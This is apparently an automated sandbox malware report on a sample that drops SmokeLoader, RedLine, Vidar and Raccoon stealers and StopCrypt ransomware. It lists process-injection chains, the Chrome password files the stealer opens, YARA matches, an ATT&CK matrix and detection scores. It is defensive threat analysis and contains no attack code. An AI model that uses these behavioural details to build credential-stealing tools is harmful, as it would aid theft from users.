Source: C:\Users\user\AppData\Local\Temp\21.exe	Process created: C:\Users\user\AppData\Local\Temp\21.exe C:\Users\user\AppData\Local\Temp\21.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gbhudtb	Process created: C:\Users\user\AppData\Roaming\gbhudtb C:\Users\user\AppData\Roaming\gbhudtb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process created: C:\Users\user\AppData\Local\Temp\DF3A.exe C:\Users\user\AppData\Local\Temp\DF3A.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ServiceModelReg.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ServiceModelReg.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'

Source: C:\Users\user\AppData\Local\Temp\CBF0.exe

Code function: 29_2_6B57E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,

29_2_6B57E730

Source: explorer.exe, 0000000A.00000000.297850308.00000000011E0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000000A.00000000.297627398.0000000000B68000.00000004.00000020.sdmp	Binary or memory string: Progman\Pr
Source: explorer.exe, 0000000A.00000000.297850308.00000000011E0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000A.00000000.297850308.00000000011E0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000A.00000000.297850308.00000000011E0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000A.00000000.302532259.0000000008778000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndh

Source: C:\Users\user\AppData\Local\Temp\B096.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\B096.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\BBE1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\DF3A.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\DF3A.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\Md0q201V1D.exe

Code function: 0_2_00421CF0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00421CF0

Source: C:\Users\user\AppData\Local\Temp\CBF0.exe

Code function: 29_2_6B574020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,RtlGetVersion,

29_2_6B574020

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 40.0.ServiceModelReg.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.ServiceModelReg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.DF3A.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.ServiceModelReg.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.DF3A.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.DF3A.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.ServiceModelReg.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.ServiceModelReg.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.aspnet_state.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.B096.exe.4426e00.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.B096.exe.4446e20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.DF3A.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.aspnet_state.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.aspnet_state.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.ServiceModelReg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.aspnet_state.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.aspnet_state.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.B096.exe.4446e20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.aspnet_state.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.DF3A.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.B096.exe.4426e00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000027.00000000.489693993.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.488918061.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.483819247.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.507631653.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.439226875.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.480873861.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.438304869.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.439894383.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.440496476.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.488076798.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.483001107.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.503371064.0000000003E09000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.466743057.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.484896100.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.487377447.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected Vidar

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 29.3.CBF0.exe.3080000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.21.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.gbhudtb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.CBF0.exe.3070e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.CBF0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.Md0q201V1D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Md0q201V1D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.gbhudtb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.21.exe.2cc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Md0q201V1D.exe.2d815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.1.21.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.gbhudtb.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.gbhudtb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.gbhudtb.2be15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.21.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.1.gbhudtb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.21.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.21.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.326584645.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.400930179.0000000002061000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.400697119.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.438106147.0000000003080000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.449845582.0000000000561000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.449446646.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.338103224.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.481901309.00000000048F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.453324146.00000000031C1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.453199313.0000000003090000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.338316447.0000000001F91000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.480747015.0000000002D30000.00000004.00000001.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 35.3.C066.exe.4960000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.C066.exe.4960000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000003.479598454.0000000004960000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C066.exe PID: 5604, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\C066.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\C066.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 40.0.ServiceModelReg.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.ServiceModelReg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.DF3A.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.ServiceModelReg.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.DF3A.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.DF3A.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.ServiceModelReg.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.ServiceModelReg.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.aspnet_state.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.B096.exe.4426e00.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.B096.exe.4446e20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.DF3A.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.aspnet_state.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.aspnet_state.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.ServiceModelReg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.aspnet_state.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.aspnet_state.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.B096.exe.4446e20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.aspnet_state.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.DF3A.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.B096.exe.4426e00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000027.00000000.489693993.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.488918061.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.483819247.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.507631653.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.439226875.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.480873861.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.438304869.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.439894383.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.440496476.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.488076798.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.483001107.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.503371064.0000000003E09000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.466743057.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.484896100.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.487377447.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected Vidar

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 29.3.CBF0.exe.3080000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.21.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.gbhudtb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.CBF0.exe.3070e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.CBF0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.Md0q201V1D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Md0q201V1D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.gbhudtb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.21.exe.2cc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Md0q201V1D.exe.2d815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.1.21.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.gbhudtb.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.gbhudtb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.gbhudtb.2be15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.21.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.1.gbhudtb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.21.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.21.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.326584645.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.400930179.0000000002061000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.400697119.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.438106147.0000000003080000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.449845582.0000000000561000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.449446646.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.338103224.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.481901309.00000000048F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.453324146.00000000031C1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.453199313.0000000003090000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.338316447.0000000001F91000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.480747015.0000000002D30000.00000004.00000001.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 35.3.C066.exe.4960000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.C066.exe.4960000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000003.479598454.0000000004960000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C066.exe PID: 5604, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	DLL Side-Loading11	DLL Side-Loading11	Disable or Modify Tools1	OS Credential Dumping1	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	Boot or Logon Initialization Scripts	Process Injection612	Deobfuscate/Decode Files or Information1	Input Capture1	File and Directory Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information3	Security Account Manager	System Information Discovery15	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing23	NTDS	Security Software Discovery431	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol5	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Timestomp1	LSA Secrets	Process Discovery2	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol116	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading11	Cached Domain Credentials	Virtualization/Sandbox Evasion131	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion131	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Process Injection612	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Hidden Files and Directories1	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Md0q201V1D.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	Metadefender		Browse
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1105.tmp	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\1105.tmp	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\BBE1.exe	22%	ReversingLabs	ByteCode-MSIL.Trojan.CrypterX
C:\Users\user\AppData\Local\Temp\CAC5.exe	55%	ReversingLabs	Win32.Trojan.Fragtor
C:\Users\user\AppData\Local\Temp\CBF0.exe	80%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\CD17.exe	14%	ReversingLabs	ByteCode-MSIL.Backdoor.Androm
C:\Users\user\AppData\Local\Temp\D8D0.exe	32%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\AppData\Local\Temp\DF3A.exe	43%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles

Unpacked PE Files

Source	Detection	Scanner	Label	Download
33.3.EBBE.exe.2d30000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
40.0.ServiceModelReg.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
40.0.ServiceModelReg.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
19.0.21.exe.400000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
3.0.Md0q201V1D.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.gbhudtb.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.2.21.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.DF3A.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
